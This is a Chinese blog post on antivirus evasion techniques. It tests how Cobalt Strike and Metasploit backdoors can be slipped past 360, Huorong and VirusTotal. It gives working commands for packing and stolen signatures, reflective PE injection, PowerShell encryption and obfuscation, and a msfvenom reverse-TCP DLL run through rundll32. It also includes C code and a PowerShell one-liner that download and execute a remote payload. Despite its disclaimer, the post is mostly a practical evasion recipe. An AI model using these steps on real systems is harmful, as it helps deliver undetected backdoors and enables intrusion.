初探免杀之路——免杀方法测试
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担
前言
之前做靶机的时候发现有安全卫士,怎么都突破不了,意识到了免杀的重要性,花点时间来学习一下免杀的技巧,本文分别对exe文件和ps1文件进行免杀测试,所涉及的工具均已打包,私信获取
免杀介绍
免杀有很多种方式
-
1、源码免杀。在有源码的情况下,可以定位特征码、加花指令、多层跳转、加无效指令、替换api、重写api、API伪调用等等,这部分内容较多略复杂
-
2、无源码免杀。在源码不好修改需要对exe进行免杀时,可以加资源、替换资源、加壳、加签名、PE优化、增加节数据等等。本文中的方法1就是这种方式,只不过算是最简单的一种。
-
3、powershell免杀。因为mimikatz有powershell版或者使用powershell可以加载,所以对powershell的脚本免杀也是一种方式,本文中的方法2-方法6都是对powershell进行处理。
-
4、加载器分离免杀。加载器就是利用了ShellCode和PE分离的方式来达到免杀的效果,不过很多只能加载基于RAW格式或固定格式的shellcode,对exe程序就无能无力了
-
5、白名单免杀。白名单主要是使用了rundll32、msbuild、mshta、cscript等多个白名单程序来加载嵌入了木马的jscript脚本
EXE文件免杀
首先来看看原生态的cs生成的exe后门木马吧
火绒一放进去就报毒了,360运行之后也报毒了
VirusTotal - Home原生木马的查杀率为48/68
加壳+签名
需要的软件
VMProtect Ultimate 3.4.0加壳软件、签名脚本sigthief.py
安装vmp加壳软件后,使⽤vmp进⾏加壳
cs的后门和msf的后门都试了一下,不知道为什么VMP这个工具不能对msf的后门加壳
加壳之后试了一下,火绒过了,360还是报毒了
使⽤ sigthief.py 对上⼀步⽣成的exe⽂件进⾏签名。sigthief的详细⽤法可以参考 https://github.com/secretsquirrel/SigThief(要以管理员权限运行)
python sigthief.py -i 360safe.exe -t artifact.vmp.exe -o artifact.exe
但还是运行不了
再来看看VirusTotal,只有14/67了,降了很多
PowerShell嵌入EXE文件
使用工具:Invoke-ReflectivePEInjection.ps1
这个方法其实只是将exe程序转为字符串,然后嵌入到Invoke-ReflectivePEInjection.ps1
中直接执行。
将下面代码保存为Convert-BinaryToString.ps1
function Convert-BinaryToString { [CmdletBinding()] param ( [string] $FilePath ) try { $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); } catch { throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct."; } if ($ByteArray) { $Base64String = [System.Convert]::ToBase64String($ByteArray); } else { throw '$ByteArray is $null.'; } Write-Output -InputObject $Base64String }
这个ps1文件的意思是将exe转换为二进制文件
执行
import-module .\Convert-BinaryToString.ps1
Convert-BinaryToString .\artifact.exe >>1.txt \\如果执行不了要加绝对路径
新建一个payload.ps1
,内容如下,需要替换里面1.txt的内容和Invoke-ReflectivePEInjection
内容。
# Your base64 encoded binary $InputString = '...........' #上面1.txt的内容 function Invoke-ReflectivePEInjection #Invoke-ReflectivePEInjection的内容 { ...... ...... ...... } # Convert base64 string to byte array $PEBytes = [System.Convert]::FromBase64String($InputString) # Run EXE in memory Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
然后在目标机器执行powershell -ExecutionPolicy Bypass -File payload.ps1
即可。
360火绒都过不了,Invoke-ReflectivePEInjection
这个知名度挺高的,VirusTotal
ps1文件免杀
cs生成了一个ps1的后门脚本,先上传上去看看,令我意外的是360居然没有报毒,运行也直接上线了,但火绒还是爆毒了
使用Out-EncryptedScript加密
使用Out-EncryptedScript.ps1
Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\payload.ps1 -Password tidesec -Salt lry123
默认会生成的evil.ps1
文件。其中两个参数:-Password 设置加密的密钥-Salt 随机数,防止被暴力破解
运行一下
[String] $cmd = Get-Content .\evil.ps1 Invoke-Expression $cmd $decrypted = de tidesec lry123 Invoke-Expression $decrypted
成功上线,且火绒和360都没爆毒
但VirusTotal上检测的效果却没这么好
使用xencrypt加密
xencrypt.ps1
Import-Module ./xencrypt.ps1 Invoke-Xencrypt -InFile .\payload.ps1 -OutFile payload1.ps1 -Iterations 88
但是过了360还是没能过火绒
VirusTotal效果倒是很好
C程序中执行powershell
这个执行方式也是比较简单,在C代码里执行powershell。
编译为exe文件
#include<stdio.h> #include<stdlib.h> int main(){ system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://192.168.200.64/payload.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);"); return 0; }
但火绒和360都过不了
反而直接执行命令不会被拦截
powershell IEX (New-Object Net.WebClient).DownloadString(''http://192.168.200.64/payload.ps1'')
拿去VirusTotal,效果反而是最好的
Invoke-Obfuscation-master
在测试一下我之前靶机试过的免杀
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
导入之后设置要免杀的ps1脚本路径
set scriptpath path
选择编码混淆ENCODING
看到有八种编码方式,每个都试试看
1 out 1.ps1
直接说结果吧
1、ASCII 过360没过火绒 virustotal 5/57
2、Hex 过360没过火绒 virustotal 5/55
3、Octal 过360没过火绒 virustotal 5/56
4、Binary 过360没过火绒 virustotal 2/56
5、SecureString 过360没过火绒
6、BXOR 过360没过火绒 virustotal 5/56
7、Special Characters 过360火绒 virustotal0/56(强)
8、Whitespace 过360没过火绒 virustotal 1/56
说一下使用这个工具遇到的问题,一开始我连续生成了四个免杀后的ps1文件,到第五个的时候就变得很久,我还以为是文件太大的原因,可是生成之后的ps1文件也用不了,到了第二天一打开就能秒生成,加上我之前靶机也遇到这样的问题,再加上后面试验,发现这个工具编码免杀的时候还不能一次全部生成,最好生成一个再重新打开生成另一个,不知道是不是就我遇到这种情况
rundll32.exe
再介绍一种bypass的方法,msf或cs生成dll后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >shell.dll
运行dll
C:\Windows\System32\rundll32.exe artifact.dll,Start
360没有报毒,成功上线,但是过了一会还是被杀了
火绒直接报毒
但是,使用加壳签名之后的dll,360火绒全过
还可以结合别的免杀方法,这里就不测试了
总结
测试下来后发现:360对exe的文件比较敏感,火绒则对ps1文件敏感。遇到不同的杀软可以针对性的选择,也可以通过多种免杀方式结合。以后遇到别的免杀方法后续再补充,水文一篇大神见笑
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15547701.html